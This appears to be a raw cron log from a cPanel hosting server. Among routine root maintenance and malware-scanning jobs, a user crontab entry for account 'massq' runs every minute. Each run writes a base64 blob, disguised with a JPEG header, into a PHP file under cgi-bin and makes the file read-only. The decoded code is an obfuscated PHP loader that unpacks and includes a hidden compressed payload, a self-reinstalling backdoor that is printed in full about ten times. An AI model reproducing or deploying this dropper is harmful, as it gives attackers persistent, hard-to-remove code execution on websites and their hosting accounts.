Sep 11 23:44:01 server CROND[17866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:45:01 server CROND[18250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:45:01 server CROND[18254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:45:01 server CROND[18255]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:45:01 server CROND[18256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:45:01 server CROND[18253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:45:01 server CROND[18259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:45:01 server CROND[18252]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:46:01 server CROND[19127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:46:01 server CROND[19129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:46:01 server CROND[19128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:47:01 server CROND[19507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:47:01 server CROND[19508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:47:01 server CROND[19509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:48:01 server CROND[19877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:48:01 server CROND[19878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:48:01 server CROND[19879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:49:01 server CROND[20468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:49:01 server CROND[20469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:49:01 server CROND[20470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:50:01 server CROND[20859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:50:01 server CROND[20860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:50:01 server CROND[20864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:50:01 server CROND[20870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:50:01 server CROND[20871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:50:01 server CROND[20872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:50:01 server CROND[20873]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 23:50:01 server CROND[20874]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:50:01 server CROND[20877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:51:01 server CROND[21700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:51:01 server CROND[21701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:51:01 server CROND[21702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:52:01 server CROND[22068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:52:01 server CROND[22070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:52:01 server CROND[22069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:53:01 server CROND[22441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:53:01 server CROND[22442]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep 11 23:53:01 server CROND[22443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:53:01 server CROND[22444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:54:01 server CROND[22897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:54:01 server CROND[22899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:54:01 server CROND[22942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:55:01 server CROND[23432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:55:01 server CROND[23436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:55:01 server CROND[23434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:55:01 server CROND[23435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:55:01 server CROND[23439]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:55:01 server CROND[23437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:55:01 server CROND[23438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:56:01 server CROND[24418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
